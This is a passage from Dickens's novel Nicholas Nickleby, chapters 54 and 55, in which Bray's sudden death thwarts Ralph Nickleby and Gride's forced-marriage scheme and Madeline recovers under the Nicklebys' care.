bar, double lock, and key out to put under my pillow! So, if +any more rejected admirers come, they may come through the keyhole. +And now I'll go to sleep till half-past five, when I must get up to +be married, Peg!' + +With that, he jocularly tapped Mrs Sliderskew under the chin, and +appeared, for the moment, inclined to celebrate the close of his +bachelor days by imprinting a kiss on her shrivelled lips. Thinking +better of it, however, he gave her chin another tap, in lieu of that +warmer familiarity, and stole away to bed. + + + +CHAPTER 54 + +The Crisis of the Project and its Result + + +There are not many men who lie abed too late, or oversleep +themselves, on their wedding morning. A legend there is of somebody +remarkable for absence of mind, who opened his eyes upon the day +which was to give him a young wife, and forgetting all about the +matter, rated his servants for providing him with such fine clothes +as had been prepared for the festival. There is also a legend of a +young gentleman, who, not having before his eyes the fear of the +canons of the church for such cases made and provided, conceived a +passion for his grandmother. Both cases are of a singular and +special kind and it is very doubtful whether either can be +considered as a precedent likely to be extensively followed by +succeeding generations. + +Arthur Gride had enrobed himself in his marriage garments of bottle- +green, a full hour before Mrs Sliderskew, shaking off her more heavy +slumbers, knocked at his chamber door; and he had hobbled downstairs +in full array and smacked his lips over a scanty taste of his +favourite cordial, ere that delicate piece of antiquity enlightened +the kitchen with her presence. + +'Faugh!' said Peg, grubbing, in the discharge of her domestic +functions, among a scanty heap of ashes in the rusty grate. +'Wedding indeed! A precious wedding! He wants somebody better than +his old Peg to take care of him, does he? And what has he said to +me, many and many a time, to keep me content with short food, small +wages, and little fire? "My will, Peg! my will!" says he: "I'm a +bachelor--no friends--no relations, Peg." Lies! And now he's to +bring home a new mistress, a baby-faced chit of a girl! If he +wanted a wife, the fool, why couldn't he have one suitable to his +age, and that knew his ways? She won't come in MY way, he says. +No, that she won't, but you little think why, Arthur boy!' + +While Mrs Sliderskew, influenced possibly by some lingering feelings +of disappointment and personal slight, occasioned by her old +master's preference for another, was giving loose to these +grumblings below stairs, Arthur Gride was cogitating in the parlour +upon what had taken place last night. + +'I can't think how he can have picked up what he knows,' said +Arthur, 'unless I have committed myself--let something drop at +Bray's, for instance--which has been overheard. Perhaps I may. I +shouldn't be surprised if that was it. Mr Nickleby was often angry +at my talking to him before we got outside the door. I mustn't tell +him that part of the business, or he'll put me out of sorts, and +make me nervous for the day.' + +Ralph was universally looked up to, and recognised among his fellows +as a superior genius, but upon Arthur Gride his stern unyielding +character and consummate art had made so deep an impression, that he +was actually afraid of him. Cringing and cowardly to the core by +nature, Arthur Gride humbled himself in the dust before Ralph +Nickleby, and, even when they had not this stake in common, would +have licked his shoes and crawled upon the ground before him rather +than venture to return him word for word, or retort upon him in any +other spirit than one of the most slavish and abject sycophancy. + +To Ralph Nickleby's, Arthur Gride now betook himself according to +appointment; and to Ralph Nickleby he related how, last night, some +young blustering blade, whom he had never seen, forced his way into +his house, and tried to frighten him from the proposed nuptials. +Told, in short, what Nicholas had said and done, with the slight +reservation upon which he had determined. + +'Well, and what then?' said Ralph. + +'Oh! nothing more,' rejoined Gride. + +'He tried to frighten you,' said Ralph, 'and you WERE frightened I +suppose; is that it?' + +'I frightened HIM by crying thieves and murder,' replied Gride. +'Once I was in earnest, I tell you that, for I had more than half a +mind to swear he uttered threats, and demanded my life or my money.' + +'Oho!' said Ralph, eyeing him askew. 'Jealous too!' + +'Dear now, see that!' cried Arthur, rubbing his hands and affecting +to laugh. + +'Why do you make those grimaces, man?' said Ralph; 'you ARE jealous +--and with good cause I think.' + +'No, no, no; not with good cause, hey? You don't think with good +cause, do you?' cried Arthur, faltering. 'Do you though, hey?' + +'Why, how stands the fact?' returned Ralph. 'Here is an old man +about to be forced in marriage upon a girl; and to this old man +there comes a handsome young fellow--you said he was handsome, +didn't you?' + +'No!' snarled Arthur Gride. + +'Oh!' rejoined Ralph, 'I thought you did. Well! Handsome or not +handsome, to this old man there comes a young fellow who casts all +manner of fierce defiances in his teeth--gums I should rather say-- +and tells him in plain terms that his mistress hates him. What does +he do that for? Philanthropy's sake?' + +'Not for love of the lady,' replied Gride, 'for he said that no word +of love--his very words--had ever passed between 'em.' + +'He said!' repeated Ralph, contemptuously. 'But I like him for one +thing, and that is, his giving you this fair warning to keep your-- +what is it?--Tit-tit or dainty chick--which?--under lock and key. +Be careful, Gride, be careful. It's a triumph, too, to tear her +away from a gallant young rival: a great triumph for an old man! It +only remains to keep her safe when you have her--that's all.' + +'What a man it is!' cried Arthur Gride, affecting, in the extremity +of his torture, to be highly amused. And then he added, anxiously, +'Yes; to keep her safe, that's all. And that isn't much, is it?' + +'Much!' said Ralph, with a sneer. 'Why, everybody knows what easy +things to understand and to control, women are. But come, it's very +nearly time for you to be made happy. You'll pay the bond now, I +suppose, to save us trouble afterwards.' + +'Oh what a man you are!' croaked Arthur. + +'Why not?' said Ralph. 'Nobody will pay you interest for the money, +I suppose, between this and twelve o'clock; will they?' + +'But nobody would pay you interest for it either, you know,' +returned Arthur, leering at Ralph with all the cunning and slyness +he could throw into his face. + +'Besides which,' said Ralph, suffering his lip to curl into a smile, +'you haven't the money about you, and you weren't prepared for this, +or you'd have brought it with you; and there's nobody you'd so much +like to accommodate as me. I see. We trust each other in about an +equal degree. Are you ready?' + +Gride, who had done nothing but grin, and nod, and chatter, during +this last speech of Ralph's, answered in the affirmative; and, +producing from his hat a couple of large white favours, pinned one +on his breast, and with considerable difficulty induced his friend +to do the like. Thus accoutred, they got into a hired coach which +Ralph had in waiting, and drove to the residence of the fair and +most wretched bride. + +Gride, whose spirits and courage had gradually failed him more and +more as they approached nearer and nearer to the house, was utterly +dismayed and cowed by the mournful silence which pervaded it. The +face of the poor servant girl, the only person they saw, was +disfigured with tears and want of sleep. There was nobody to +receive or welcome them; and they stole upstairs into the usual +sitting-room, more like two burglars than the bridegroom and his +friend. + +'One would think,' said Ralph, speaking, in spite of himself, in a +low and subdued voice, 'that there was a funeral going on here, and +not a wedding.' + +'He, he!' tittered his friend, 'you are so--so very funny!' + +'I need be,' remarked Ralph, drily, 'for this is rather dull and +chilling. Look a little brisker, man, and not so hangdog like!' + +'Yes, yes, I will,' said Gride. 'But--but--you don't think she's +coming just yet, do you?' + +'Why, I suppose she'll not come till she is obliged,' returned +Ralph, looking at his watch, 'and she has a good half-hour to spare +yet. Curb your impatience.' + +'I--I--am not impatient,' stammered Arthur. 'I wouldn't be hard +with her for the world. Oh dear, dear, not on any account. Let her +take her time--her own time. Her time shall be ours by all means.' + +While Ralph bent upon his trembling friend a keen look, which showed +that he perfectly understood the reason of this great consideration +and regard, a footstep was heard upon the stairs, and Bray himself +came into the room on tiptoe, and holding up his hand with a +cautious gesture, as if there were some sick person near, who must +not be disturbed. + +'Hush!' he said, in a low voice. 'She was very ill last night. I +thought she would have broken her heart. She is dressed, and crying +bitterly in her own room; but she's better, and quite quiet. That's +everything!' + +'She is ready, is she?' said Ralph. + +'Quite ready,' returned the father. + +'And not likely to delay us by any young-lady weaknesses--fainting, +or so forth?' said Ralph. + +'She may be safely trusted now,' returned Bray. 'I have been +talking to her this morning. Here! Come a little this way.' + +He drew Ralph Nickleby to the further end of the room, and pointed +towards Gride, who sat huddled together in a corner, fumbling +nervously with the buttons of his coat, and exhibiting a face, of +which every skulking and base expression was sharpened and +aggravated to the utmost by his anxiety and trepidation. + +'Look at that man,' whispered Bray, emphatically. 'This seems a +cruel thing, after all.' + +'What seems a cruel thing?' inquired Ralph, with as much stolidity +of face, as if he really were in utter ignorance of the other's +meaning. + +'This marriage,' answered Bray. 'Don't ask me what. You know as +well as I do.' + +Ralph shrugged his shoulders, in silent deprecation of Bray's +impatience, and elevated his eyebrows, and pursed his lips, as men +do when they are prepared with a sufficient answer to some remark, +but wait for a more favourable opportunity of advancing it, or think +it scarcely worth while to answer their adversary at all. + +'Look at him. Does it not seem cruel?' said Bray. + +'No!' replied Ralph, boldly. + +'I say it does,' retorted Bray, with a show of much irritation. 'It +is a cruel thing, by all that's bad and treacherous!' + +When men are about to commit, or to sanction the commission of some +injustice, it is not uncommon for them to express pity for the +object either of that or some parallel proceeding, and to feel +themselves, at the time, quite virtuous and moral, and immensely +superior to those who express no pity at all. This is a kind of +upholding of faith above works, and is very comfortable. To do +Ralph Nickleby justice, he seldom practised this sort of +dissimulation; but he understood those who did, and therefore +suffered Bray to say, again and again, with great vehemence, that +they were jointly doing a very cruel thing, before he again offered +to interpose a word. + +'You see what a dry, shrivelled, withered old chip it is,' returned +Ralph, when the other was at length silent. 'If he were younger, it +might be cruel, but as it is--harkee, Mr Bray, he'll die soon, and +leave her a rich young widow! Miss Madeline consults your tastes +this time; let her consult her own next.' + +'True, true,' said Bray, biting his nails, and plainly very ill at +ease. 'I couldn't do anything better for her than advise her to +accept these proposals, could I? Now, I ask you, Nickleby, as a man +of the world; could I?' + +'Surely not,' answered Ralph. 'I tell you what, sir; there are a +hundred fathers, within a circuit of five miles from this place; +well off; good, rich, substantial men; who would gladly give their +daughters, and their own ears with them, to that very man yonder, +ape and mummy as he looks.' + +'So there are!' exclaimed Bray, eagerly catching at anything which +seemed a justification of himself. 'And so I told her, both last +night and today.' + +'You told her truth,' said Ralph, 'and did well to do so; though I +must say, at the same time, that if I had a daughter, and my +freedom, pleasure, nay, my very health and life, depended on her +taking a husband whom I pointed out, I should hope it would not be +necessary to advance any other arguments to induce her to consent to +my wishes.' + +Bray looked at Ralph as if to see whether he spoke in earnest, and +having nodded twice or thrice in unqualified assent to what had +fallen from him, said: + +'I must go upstairs for a few minutes, to finish dressing. When I +come down, I'll bring Madeline with me. Do you know, I had a very +strange dream last night, which I have not remembered till this +instant. I dreamt that it was this morning, and you and I had been +talking as we have been this minute; that I went upstairs, for the +very purpose for which I am going now; and that as I stretched out +my hand to take Madeline's, and lead her down, the floor sunk with +me, and after falling from such an indescribable and tremendous +height as the imagination scarcely conceives, except in dreams, I +alighted in a grave.' + +'And you awoke, and found you were lying on your back, or with your +head hanging over the bedside, or suffering some pain from +indigestion?' said Ralph. 'Pshaw, Mr Bray! Do as I do (you will +have the opportunity, now that a constant round of pleasure and +enjoyment opens upon you), and, occupying yourself a little more by +day, have no time to think of what you dream by night.' + +Ralph followed him, with a steady look, to the door; and, turning to +the bridegroom, when they were again alone, said, + +'Mark my words, Gride, you won't have to pay HIS annuity very long. +You have the devil's luck in bargains, always. If he is not booked +to make the long voyage before many months are past and gone, I wear +an orange for a head!' + +To this prophecy, so agreeable to his ears, Arthur returned no +answer than a cackle of great delight. Ralph, throwing himself into +a chair, they both sat waiting in profound silence. Ralph was +thinking, with a sneer upon his lips, on the altered manner of Bray +that day, and how soon their fellowship in a bad design had lowered +his pride and established a familiarity between them, when his +attentive ear caught the rustling of a female dress upon the stairs, +and the footstep of a man. + +'Wake up,' he said, stamping his foot impatiently upon the ground, +'and be something like life, man, will you? They are here. Urge +those dry old bones of yours this way. Quick, man, quick!' + +Gride shambled forward, and stood, leering and bowing, close by +Ralph's side, when the door opened and there entered in haste--not +Bray and his daughter, but Nicholas and his sister Kate. + +If some tremendous apparition from the world of shadows had suddenly +presented itself before him, Ralph Nickleby could not have been more +thunder-stricken than he was by this surprise. His hands fell +powerless by his side, he reeled back; and with open mouth, and a +face of ashy paleness, stood gazing at them in speechless rage: his +eyes so prominent, and his face so convulsed and changed by the +passions which raged within him, that it would have been difficult +to recognise in him the same stern, composed, hard-featured man he +had been not a minute ago. + +'The man that came to me last night,' whispered Gride, plucking at +his elbow. 'The man that came to me last night!' + +'I see,' muttered Ralph, 'I know! I might have guessed as much +before. Across my every path, at every turn, go where I will, do +what I may, he comes!' + +The absence of all colour from the face; the dilated nostril; the +quivering of the lips which, though set firmly against each other, +would not be still; showed what emotions were struggling for the +mastery with Nicholas. But he kept them down, and gently pressing +Kate's arm to reassure her, stood erect and undaunted, front to +front with his unworthy relative. + +As the brother and sister stood side by side, with a gallant bearing +which became them well, a close likeness between them was apparent, +which many, had they only seen them apart, might have failed to +remark. The air, carriage, and very look and expression of the +brother were all reflected in the sister, but softened and refined +to the nicest limit of feminine delicacy and attraction. More +striking still was some indefinable resemblance, in the face of +Ralph, to both. While they had never looked more handsome, nor he +more ugly; while they had never held themselves more proudly, nor he +shrunk half so low; there never had been a time when this +resemblance was so perceptible, or when all the worst characteristics +of a face rendered coarse and harsh by evil thoughts were half so +manifest as now. + +'Away!' was the first word he could utter as he literally gnashed +his teeth. 'Away! What brings you here? Liar, scoundrel, dastard, +thief!' + +'I come here,' said Nicholas in a low deep voice, 'to save your +victim if I can. Liar and scoundrel you are, in every action of +your life; theft is your trade; and double dastard you must be, or +you were not here today. Hard words will not move me, nor would +hard blows. Here I stand, and will, till I have done my errand.' + +'Girl!' said Ralph, 'retire! We can use force to him, but I would +not hurt you if I could help it. Retire, you weak and silly wench, +and leave this dog to be dealt with as he deserves.' + +'I will not retire,' cried Kate, with flashing eyes and the red +blood mantling in her cheeks. 'You will do him no hurt that he will +not repay. You may use force with me; I think you will, for I AM a +girl, and that would well become you. But if I have a girl's +weakness, I have a woman's heart, and it is not you who in a cause +like this can turn that from its purpose.' + +'And what may your purpose be, most lofty lady?' said Ralph. + +'To offer to the unhappy subject of your treachery, at this last +moment,' replied Nicholas, 'a refuge and a home. If the near +prospect of such a husband as you have provided will not prevail +upon her, I hope she may be moved by the prayers and entreaties of +one of her own sex. At all events they shall be tried. I myself, +avowing to her father from whom I come and by whom I am +commissioned, will render it an act of greater baseness, meanness, +and cruelty in him if he still dares to force this marriage on. +Here I wait to see him and his daughter. For this I came and +brought my sister even into your presence. Our purpose is not to +see or speak with you; therefore to you we stoop to say no more.' + +'Indeed!' said Ralph. 'You persist in remaining here, ma'am, do +you?' + +His niece's bosom heaved with the indignant excitement into which he +had lashed her, but she gave him no reply. + +'Now, Gride, see here,' said Ralph. 'This fellow--I grieve to say +my brother's son: a reprobate and profligate, stained with every +mean and selfish crime--this fellow, coming here today to disturb a +solemn ceremony, and knowing that the consequence of his presenting +himself in another man's house at such a time, and persisting in +remaining there, must be his being kicked into the streets and +dragged through them like the vagabond he is--this fellow, mark you, +brings with him his sister as a protection, thinking we would not +expose a silly girl to the degradation and indignity which is no +novelty to him; and, even after I have warned her of what must +ensue, he still keeps her by him, as you see, and clings to her +apron-strings like a cowardly boy to his mother's. Is not this a +pretty fellow to talk as big as you have heard him now?' + +'And as I heard him last night,' said Arthur Gride; 'as I heard him +last night when he sneaked into my house, and--he! he! he!--very +soon sneaked out again, when I nearly frightened him to death. And +HE wanting to marry Miss Madeline too! Oh dear! Is there anything +else he'd like? Anything else we can do for him, besides giving her +up? Would he like his debts paid and his house furnished, and a few +bank notes for shaving paper if he shaves at all? He! he! he!' + +'You will remain, girl, will you?' said Ralph, turning upon Kate +again, 'to be hauled downstairs like a drunken drab, as I swear you +shall if you stop here? No answer! Thank your brother for what +follows. Gride, call down Bray--and not his daughter. Let them +keep her above.' + +'If you value your head,' said Nicholas, taking up a position before +the door, and speaking in the same low voice in which he had spoken +before, and with no more outward passion than he had before +displayed; 'stay where you are!' + +'Mind me, and not him, and call down Bray,' said Ralph. + +'Mind yourself rather than either of us, and stay where you are!' +said Nicholas. + +'Will you call down Bray?' cried Ralph. + +'Remember that you come near me at your peril,' said Nicholas. + +Gride hesitated. Ralph being, by this time, as furious as a baffled +tiger, made for the door, and, attempting to pass Kate, clasped her +arm roughly with his hand. Nicholas, with his eyes darting fire, +seized him by the collar. At that moment, a heavy body fell with +great violence on the floor above, and, in an instant afterwards, +was heard a most appalling and terrific scream. + +They all stood still, and gazed upon each other. Scream succeeded +scream; a heavy pattering of feet succeeded; and many shrill voices +clamouring together were heard to cry, 'He is dead!' + +'Stand off!' cried Nicholas, letting loose all the passion he had +restrained till now; 'if this is what I scarcely dare to hope it is, +you are caught, villains, in your own toils.' + +He burst from the room, and, darting upstairs to the quarter from +whence the noise proceeded, forced his way through a crowd of +persons who quite filled a small bed-chamber, and found Bray lying +on the floor quite dead; his daughter clinging to the body. + +'How did this happen?' he cried, looking wildly about him. + +Several voices answered together, that he had been observed, through +the half-opened door, reclining in a strange and uneasy position +upon a chair; that he had been spoken to several times, and not +answering, was supposed to be asleep, until some person going in and +shaking him by the arm, he fell heavily to the ground and was +discovered to be dead. + +'Who is the owner of this house?' said Nicholas, hastily. + +An elderly woman was pointed out to him; and to her he said, as he +knelt down and gently unwound Madeline's arms from the lifeless mass +round which they were entwined: 'I represent this lady's nearest +friends, as her servant here knows, and must remove her from this +dreadful scene. This is my sister to whose charge you confide her. +My name and address are upon that card, and you shall receive from +me all necessary directions for the arrangements that must be made. +Stand aside, every one of you, and give me room and air for God's +sake!' + +The people fell back, scarce wondering more at what had just +occurred, than at the excitement and impetuosity of him who spoke. +Nicholas, taking the insensible girl in his arms, bore her from the +chamber and downstairs into the room he had just quitted, followed +by his sister and the faithful servant, whom he charged to procure a +coach directly, while he and Kate bent over their beautiful charge +and endeavoured, but in vain, to restore her to animation. The girl +performed her office with such expedition, that in a very few +minutes the coach was ready. + +Ralph Nickleby and Gride, stunned and paralysed by the awful event +which had so suddenly overthrown their schemes (it would not +otherwise, perhaps, have made much impression on them), and carried +away by the extraordinary energy and precipitation of Nicholas, +which bore down all before him, looked on at these proceedings like +men in a dream or trance. It was not until every preparation was +made for Madeline's immediate removal that Ralph broke silence by +declaring she should not be taken away. + +'Who says so?' cried Nicholas, rising from his knee and confronting +them, but still retaining Madeline's lifeless hand in his. + +'I!' answered Ralph, hoarsely. + +'Hush, hush!' cried the terrified Gride, catching him by the arm +again. 'Hear what he says.' + +'Ay!' said Nicholas, extending his disengaged hand in the air, 'hear +what he says. That both your debts are paid in the one great debt +of nature. That the bond, due today at twelve, is now waste paper. +That your contemplated fraud shall be discovered yet. That your +schemes are known to man, and overthrown by Heaven. Wretches, that +he defies you both to do your worst.' + +'This man,' said Ralph, in a voice scarcely intelligible, 'this man +claims his wife, and he shall have her.' + +'That man claims what is not his, and he should not have her if he +were fifty men, with fifty more to back him,' said Nicholas. + +'Who shall prevent him?' + +'I will.' + +'By what right I should like to know,' said Ralph. 'By what right I +ask?' + +'By this right. That, knowing what I do, you dare not tempt me +further,' said Nicholas, 'and by this better right; that those I +serve, and with whom you would have done me base wrong and injury, +are her nearest and her dearest friends. In their name I bear her +hence. Give way!' + +'One word!' cried Ralph, foaming at the mouth. + +'Not one,' replied Nicholas, 'I will not hear of one--save this. +Look to yourself, and heed this warning that I give you! Your day +is past, and night is comin' on.' + +'My curse, my bitter, deadly curse, upon you, boy!' + +'Whence will curses come at your command? Or what avails a curse or +blessing from a man like you? I tell you, that misfortune and +discovery are thickening about your head; that the structures you +have raised, through all your ill-spent life, are crumbling into +dust; that your path is beset with spies; that this very day, ten +thousand pounds of your hoarded wealth have gone in one great +crash!' + +''Tis false!' cried Ralph, shrinking back. + +''Tis true, and you shall find it so. I have no more words to +waste. Stand from the door. Kate, do you go first. Lay not a hand +on her, or on that woman, or on me, or so much a brush their +garments as they pass you by!--You let them pass, and he blocks the +door again!' + +Arthur Gride happened to be in the doorway, but whether +intentionally or from confusion was not quite apparent. Nicholas +swung him away, with such violence as to cause him to spin round the +room until he was caught by a sharp angle of the wall, and there +knocked down; and then taking his beautiful burden in his arms +rushed out. No one cared to stop him, if any were so disposed. +Making his way through a mob of people, whom a report of the +circumstances had attracted round the house, and carrying Madeline, +in his excitement, as easily as if she were an infant, he reached +the coach in which Kate and the girl were already waiting, and, +confiding his charge to them, jumped up beside the coachman and bade +him drive away. + + + +CHAPTER 55 + +Of Family Matters, Cares, Hopes, Disappointments, and Sorrows + + +Although Mrs Nickleby had been made acquainted by her son and +daughter with every circumstance of Madeline Bray's history which +was known to them; although the responsible situation in which +Nicholas stood had been carefully explained to her, and she had been +prepared, even for the possible contingency of having to receive the +young lady in her own house, improbable as such a result had +appeared only a few minutes before it came about, still, Mrs +Nickleby, from the moment when this confidence was first reposed in +her, late on the previous evening, had remained in an unsatisfactory +and profoundly mystified state, from which no explanations or +arguments could relieve her, and which every fresh soliloquy and +reflection only aggravated more and more. + +'Bless my heart, Kate!' so the good lady argued; 'if the Mr +Cheerybles don't want this young lady to be married, why don't they +file a bill against the Lord Chancellor, make her a Chancery ward, +and shut her up in the Fleet prison for safety?--I have read of such +things in the newspapers a hundred times. Or, if they are so very +fond of her as Nicholas says they are, why don't they marry her +themselves--one of them I mean? And even supposing they don't want +her to be married, and don't want to marry her themselves, why in +the name of wonder should Nicholas go about the world, forbidding +people's banns?' + +'I don't think you quite understand,' said Kate, gently. + +'Well I am sure, Kate, my dear, you're very polite!' replied Mrs +Nickleby. 'I have been married myself I hope, and I have seen other +people married. Not understand, indeed!' + +'I know you have had great experience, dear mama,' said Kate; 'I +mean that perhaps you don't quite understand all the circumstances +in this instance. We have stated them awkwardly, I dare say.' + +'That I dare say you have,' retorted her mother, briskly. 'That's +very likely. I am not to be held accountable for that; though, at +the same time, as the circumstances speak for themselves, I shall +take the liberty, my love, of saying that I do understand them, and +perfectly well too; whatever you and Nicholas may choose to think to +the contrary. Why is such a great fuss made because this Miss +Magdalen is going to marry somebody who is older than herself? Your +poor papa was older than I was, four years and a half older. Jane +Dibabs--the Dibabses lived in the beautiful little thatched white +house one story high, covered all over with ivy and creeping plants, +with an exquisite little porch with twining honysuckles and all +sorts of things: where the earwigs used to fall into one's tea on a +summer evening, and always fell upon their backs and kicked +dreadfully, and where the frogs used to get into the rushlight +shades when one stopped all night, and sit up and look through the +little holes like Christians--Jane Dibabs, SHE married a man who was +a great deal older than herself, and WOULD marry him, notwithstanding +all that could be said to the contrary, and she was so fond of him +that nothing was ever equal to it. There was no fuss made about +Jane Dibabs, and her husband was a most honourable and excellent +man, and everybody spoke well of him. Then why should there by any +fuss about this Magdalen?' + +'Her husband is much older; he is not her own choice; his character +is the very reverse of that which you have just described. Don't +you see a broad destinction between the two cases?' said Kate. + +To this, Mrs Nickleby only replied that she durst say she was very +stupid, indeed she had no doubt she was, for her own children almost +as much as told her so, every day of her life; to be sure she was a +little older than they, and perhaps some foolish people might think +she ought reasonably to know best. However, no doubt she was wrong; +of course she was; she always was, she couldn't be right, she +couldn't be expected to be; so she had better not expose herself any +more; and to all Kate's conciliations and concessions for an hour +ensuing, the good lady gave no other replies than Oh, certainly, +why did they ask HER?, HER opinion was of no consequence, it didn't +matter what SHE said, with many other rejoinders of the same class. + +In this frame of mind (expressed, when she had become too resigned +for speech, by nods of the head, upliftings of the eyes, and little +beginnings of groans, converted, as they attracted attention, into +short coughs), Mrs Nickleby remained until Nicholas and Kate +returned with the object of their solicitude; when, having by this +time asserted her own importance, and becoming besides interested in +the trials of one so young and beautiful, she not only displayed the +utmost zeal and solicitude, but took great credit to herself for +recommending the course of procedure which her son had adopted: +frequently declaring, with an expressive look, that it was very +fortunate things were AS they were: and hinting, that but for great +encouragement and wisdom on her own part, they never could have been +brought to that pass. + +Not to strain the question whether Mrs Nickleby had or had not any +great hand in bringing matters about, it is unquestionable that she +had strong ground for exultation. The brothers, on their return, +bestowed such commendations on Nicholas for the part he had taken, +and evinced so much joy at the altered state of events and the +recovery of their young friend from trials so great and dangers so +threatening, that, as she more than once informed her daughter, she +now considered the fortunes of the family 'as good as' made. Mr +Charles Cheeryble, indeed, Mrs Nickleby positively asserted, had, in +the first transports of his surprise and delight, 'as good as' said +so. Without precisely explaining what this qualification meant, she +subsided, whenever she mentioned the subject, into such a mysterious +and important state, and had such visions of wealth and dignity in +perspective, that (vague and clouded though they were) she was, at +such times, almost as happy as if she had really been permanently +provided for, on a scale of great splendour. + +The sudden and terrible shock she had received, combined with the +great affliction and anxiety of mind which she had, for a long time, +endured, proved too much for Madeline's strength. Recovering from +the state of stupefaction into which the sudden death of her father +happily plunged her, she only exchanged that condition for one of +dangerous and active illness. When the delicate physical powers +which have been sustained by an unnatural strain upon the mental +energies and a resolute determination not to yield, at last give +way, their degree of prostration is usually proportionate to the +strength of the effort which has previously upheld them. Thus it +was that the illness which fell on Madeline was of no slight or +temporary nature, but one which, for a time, threatened her reason, +and--scarcely worse--her life itself. + +Who, slowly recovering from a disorder so severe and dangerous, +could be insensible to the unremitting attentions of such a nurse as +gentle, tender, earnest Kate? On whom could the sweet soft voice, +the light step, the delicate hand, the quiet, cheerful, noiseless +discharge of those thousand little offices of kindness and relief +which we feel so deeply when we are ill, and forget so lightly when +we are well--on whom could they make so deep an impression as on a +young heart stored with every pure and true affection that women +cherish; almost a stranger to the endearments and devotion of its +own sex, save as it learnt them from itself; and rendered, by +calamity and suffering, keenly susceptible of the sympathy so long +unknown and so long sought in vain? What wonder that days became as +years in knitting them together! What wonder, if with every hour of +returning health, there came some stronger and sweeter recognition +of the praises which Kate, when they recalled old scenes--they +seemed old now, and to have been acted years ago--would lavish on +her brother! Where would have been the wonder, even, if those +praises had found a quick response in the breast of Madeline, and +if, with the image of Nicholas so constantly recurring in the +features of his sister that she could scarcely separate the two, she +had sometimes found it equally difficult to assign to each the +feelings they had first inspired, and had imperceptibly mingled with +her gratitude to Nicholas, some of that warmer feeling which she had +assigned to Kate? + +'My dear,' Mrs Nickleby would say, coming into the room with an +elaborate caution, calculated to discompose the nerves of an invalid +rather more than the entry of a horse-soldier at full gallop; 'how +do you find yourself tonight? I hope you are better.' + +'Almost well, mama,' Kate would reply, laying down her work, and +taking Madeline's hand in hers. + +'Kate!' Mrs Nickleby would say, reprovingly, 'don't talk so loud' +(the worthy lady herself talking in a whisper that would have made +the blood of the stoutest man run cold in his veins). + +Kate would take this reproof very quietly, and Mrs Nickleby, making +every board creak and every thread rustle as she moved stealthily +about, would add: + +'My son Nicholas has just come home, and I have come, according to +custom, my dear, to know, from your own lips, exactly how you are; +for he won't take my account, and never will.' + +'He is later than usual to-night,' perhaps Madeline would reply. +'Nearly half an hour.' + +'Well, I never saw such people in all my life as you are, for time, +up here!' Mrs Nickleby would exclaim in great astonishment; 'I +declare I never did! I had not the least idea that Nicholas was +after his time, not the smallest. Mr Nickleby used to say--your +poor papa, I am speaking of, Kate my dear--used to say, that +appetite was the best clock in the world, but you have no appetite, +my dear Miss Bray, I wish you had, and upon my word I really think +you ought to take something that would give you one. I am sure I +don't know, but I have heard that two or three dozen native lobsters +give an appetite, though that comes to the same thing after all, for +I suppose you must have an appetite before you can take 'em. If I +said lobsters, I meant oysters, but of course it's all the same, +though really how you came to know about Nicholas--' + +'We happened to be just talking about him, mama; that was it.' + +'You never seem to me to be talking about anything else, Kate, and +upon my word I am quite surprised at your being so very thoughtless. +You can find subjects enough to talk about sometimes, and when you +know how important it is to keep up Miss Bray's spirits, and +interest her, and all that, it really is quite extraordinary to me +what can induce you to keep on prose, prose, prose, din, din, din, +everlastingly, upon the same theme. You are a very kind nurse, +Kate, and a very good one, and I know you mean very well; but I will +say this--that if it wasn't for me, I really don't know what would +become of Miss Bray's spirits, and so I tell the doctor every day. +He says he wonders how I sustain my own, and I am sure I very often +wonder myself how I can contrive to keep up as I do. Of course it's +an exertion, but still, when I know how much depends upon me in this +house, I am obliged to make it. There's nothing praiseworthy in +that, but it's necessary, and I do it.' + +With that, Mrs Nickleby would draw up a chair, and for some three- +quarters of an hour run through a great variety of distracting +topics in the most distracting manner possible; tearing herself +away, at length, on the plea that she must now go and amuse Nicholas +while he took his supper. After a preliminary raising of his +spirits with the information that she considered the patient +decidedly worse, she would further cheer him up by relating how +dull, listless, and low-spirited Miss Bray was, because Kate +foolishly talked about nothing else but him and family matters. +When she had made Nicholas thoroughly comfortable with these and +other inspiriting remarks, she would discourse at length on the +arduous duties she had performed that day; and, sometimes, be moved +to tears in wondering how, if anything were to happen to herself, +the family would ever get on without her. + +At other times, when Nicholas came home at night, he would be +accompanied by Mr Frank Cheeryble, who was commissioned by the +brothers to inquire how Madeline was that evening. On such +occasions (and they were of very frequent occurrence), Mrs Nickleby +deemed it of particular importance that she should have her wits +about her; for, from certain signs and tokens which had attracted +her attention, she shrewdly suspected that Mr Frank, interested as +his uncles were in Madeline, came quite as much to see Kate as to +inquire after her; the more especially as the brothers were in +constant communication with the medical man, came backwards and +forwards very frequently themselves, and received a full report from +Nicholas every morning. These were proud times for Mrs Nickleby; +never was anybody half so discreet and sage as she, or half so +mysterious withal; and never were there such cunning generalship, +and such unfathomable designs, as she brought to bear upon Mr Frank, +with the view of ascertaining whether her suspicions were well +founded: and if so, of tantalising him into taking her into his +confidence and throwing himself upon her merciful consideration. +Extensive was the artillery, heavy and light, which Mrs Nickleby +brought into play for the furtherance of these great schemes; +various and opposite the means which she employed to bring about the +end she had in view. At one time, she was all cordiality and ease; +at another, all stiffness and frigidity. Now, she would seem to +open her whole heart to her unhappy victim; the next time they met, +she would receive him with the most distant and studious reserve, as +if a new light had broken in upon her, and, guessing his intentions, +she had resolved to check them in the bud; as if she felt it her +bounden duty to act with Spartan firmness, and at once and for ever +to discourage hopes which never could be realised. At other times, +when Nicholas was not there to overhear, and Kate was upstairs +busily tending her sick friend, the worthy lady would throw out dark +hints of an intention to send her daughter to France for three or +four years, or to Scotland for the improvement of her health +impaired by her late fatigues, or to America on a visit, or anywhere +that threatened a long and tedious separation. Nay, she even went +so far as to hint, obscurely, at an attachment entertained for her +daughter by the son of an old neighbour of theirs, one Horatio +Peltirogus (a young gentleman who might have been, at that time, +four years old, or thereabouts), and to represent it, indeed, as +almost a settled thing between the families--only waiting for her +daughter's final decision, to come off with the sanction of the +church, and to the unspeakable happiness and content of all parties. + +It was in the full pride and glory of having sprung this last mine +one night with extraordinary success, that Mrs Nickleby took the +opportunity of being left alone with her son before retiring to +rest, to sound him on the subject which so occupied her thoughts: +not doubting that they could have but one opinion respecting it. To +this end, she approached the question with divers laudatory and +appropriate remarks touching the general amiability of Mr Frank +Cheeryble. + +'You are quite right, mother,' said Nicholas, 'quite right. He is a +fine fellow.' + +'Good-looking, too,' said Mrs Nickleby. + +'Decidedly good-looking,' answered Nicholas. + +'What may you call his nose, now, my dear?' pursued Mrs 